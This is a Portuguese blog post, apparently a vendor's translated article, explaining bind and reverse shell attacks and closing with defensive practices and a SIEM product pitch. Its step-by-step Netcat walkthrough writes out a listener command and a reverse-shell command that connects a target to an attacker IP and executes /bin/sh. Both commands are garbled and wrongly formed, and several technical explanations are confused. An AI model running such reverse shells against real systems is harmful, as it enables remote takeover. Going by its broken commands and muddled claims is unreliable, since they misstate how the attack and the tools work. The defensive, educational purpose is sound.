Decodificando ataques de shell reversos

Portugues | October 28, 2022 | 4 min read

A recente vulnerabilidade do Log4j deixou várias empresas cambaleando enquanto desenvolvedores e profissionais de segurança lutavam para corrigir sistemas e mitigar os danos causados. Uma característica chave dos ataques foi o uso de shell reverso. O shell reverso é um processo que os invasores usam para obter acesso a sistemas remotos e explorar vulnerabilidades de execução remota de código (RCE) presentes nesses sistemas.

Antes de explorarmos o shell reverso, precisamos estabelecer o que é o shell de ligação (bind shell).

O que é bind shell? 

Bind shell é um processo usado por pen testers e invasores para se conectar a sistemas remotos e transmitir dados. Para fazer isso, eles precisam de dois tipos de sistemas: um iniciador (cliente) e um ouvinte (servidor).

Digamos que o iniciador está sendo operado pelo invasor e o ouvinte é o sistema alvo ou vítima que possui uma vulnerabilidade RCE. Nesse caso, conforme mostrado na imagem abaixo, o invasor envia uma solicitação de conexão com o payload e um comando para executar o código shell para uma porta específica no listener. Este processo liga a porta do listener ao iniciador, daí o nome bind shell.

Ao receber e aceitar a solicitação de conexão, o ouvinte executa o código shell, levando os dados a serem transmitidos ao sistema iniciador. Por meio desse código, os invasores podem extrair ainda mais dados ou obter acesso a outros sistemas conectados à mesma rede.

Embora o shell de ligação seja simples o suficiente para executar, ele traz algumas desvantagens para o invasor. Uma organização pode se proteger contra o bind shell das seguintes maneiras:

  • Firewalls: Como o shell de ligação usa uma porta TCP ou UDP para acessar os sistemas da vítima, os firewalls podem ser configurados para parar de receber solicitações nessa porta específica.

  • NAT ou PAT: Network Address Translation (NAT) e Port Address Translation (PAT) são maneiras de mapear vários endereços privados para endereços públicos em um roteador. Como a carga útil enviada durante um ataque de shell de ligação contém o endereço IP privado e o número da porta específica do sistema da vítima, ela não pode ser enviada para um endereço IP ou porta pública porque eles podem ser alterados.

Para evitar esses obstáculos, os atacantes recorrem ao shell reverso.

O que é shell reverso? 

Como o nome sugere, em um ataque de shell reverso, o invasor opera como ouvinte e a vítima como iniciadora. Nesse processo, o invasor procura por iniciadores que enviam solicitações de conexão remota para uma porta específica e os força a se conectar ao ouvinte.

Uma vez que a conexão ocorre, o ouvinte executa um código de shell malicioso no sistema do iniciador e os dados são transmitidos e apresentados no sistema do ouvinte. Como é o servidor que iniciou a solicitação, o shell reverso pode contornar os firewalls e superar os problemas apresentados pelo PAT e NAT.

Como ocorre a conexão? 

A execução de um ataque reverso requer o início e o estabelecimento de uma conexão remota entre o iniciador e o ouvinte.Isso geralmente é feito usando um software de código aberto chamado Netcat (NC).

O NC é uma ferramenta popular de teste e exploração de rede de back-end usada para testar conexões usando os protocolos TCP ou UDP e para escanear e ouvir portas. Como a maioria dos pen testers e invasores usam essa ferramenta para executar comandos de shell em sistemas de destino, ela é frequentemente chamada de canivete suíço da rede. As alternativas ao NC dependem do script de shell, como PHP, Perl ou Bash, usado no sistema de destino.

Executando um ataque de shell reverso usando NC  

1. Identifique um vetor de ataque: Para executar um ataque de shell reverso usando NC, o cibercriminoso primeiro procura um possível vetor de ataque. Uma maneira de fazer isso é executar uma varredura de ping em um site para obter uma lista de endereços IP ou domínios.

2. Verifique a conectividade e identifique possíveis vulnerabilidades: O próximo passo é verificar a qual dos sistemas eles podem se conectar. Depois que uma conexão é estabelecida, o cibercriminoso procura possíveis vulnerabilidades para explorar.

3. Abra um listener no sistema local usando NC: Se o NC estiver instalado no sistema conectado ao servidor web, ele pode ser usado para gerar um comando shell no sistema de destino. Primeiro, o cibercriminoso precisa abrir um listener no sistema local usando o comando a seguir.

    nc – lvp- 7879

Aqui, nc significa Netcat, l para listener (o sistema local/do invasor), v para verbosidade (que ajudará a obter mais detalhes sobre o sistema de destino) e p para número da porta. Isso é seguido pelo número da porta à qual o cibercriminoso deseja se conectar.

4. Acrescente um comando para gerar um comando shell no sistema alvo: O cibercriminoso então executa o seguinte comando no utilitário ping do sistema alvo (o servidor web), solicitando que ele se conecte à máquina local.

    nc-lvp-7879-198.172.1.100-e/bin/sh

Aqui, o comando anterior é seguido pelo endereço IP do sistema local ou ouvinte junto com:

e para executar um comando.

bin para arquivo binário.

sh para shell.

5. Execute comandos para obter acesso ou transmitir dados: O sistema ou servidor de destino gera o comando e estabelece uma conexão com o sistema local. Uma vez que a conexão é estabelecida, o criminoso pode executar comandos de shell para transmitir dados do servidor web ou até mesmo usá-lo para obter mais acesso a outros sistemas conectados à rede.

Práticas recomendadas para evitar ataques de shell reversos 

Embora as conexões remotas do shell também possam ser configuradas para fins administrativos, muitos invasores as usam para fins maliciosos. Uma vez que um invasor ganha a capacidade de executar comandos shell em um servidor, ele também ganha a capacidade de assumir o controle e acessar qualquer outro sistema na rede. Para evitar que isso aconteça, aqui estão algumas práticas recomendadas pelo setor:

  • Acompanhe todas as conexões de saída que acontecem através das portas TCP e UDP.

  • Reforce as políticas de firewall de saída para filtrar solicitações enviadas a sites perigosos.

  • Regularmente, corrija as aplicações e verifique as vulnerabilidades de injeção de comando que podem ser usadas para realizar ataques de shell reversos.
  • Monitore frequentemente a atividade de rede para eliminar execuções de comandos suspeitos.

Uma solução SIEM como o Log360 monitora continuamente a atividade da rede, fica de olho em execuções de comandos suspeitos e ingere regularmente logs de scanners de vulnerabilidade para garantir que você seja notificado imediatamente sobre quaisquer brechas deixadas sem vigilância. Para saber mais, entre em contato com nossos especialistas em produtos para uma demonstração personalizada. Você também pode baixar uma versão de avaliação gratuita de 30 dias aqui.

Esse post foi traduzido da nossa página em inglês SIEM Expert Talks, e sua autoria original é de Anupama A.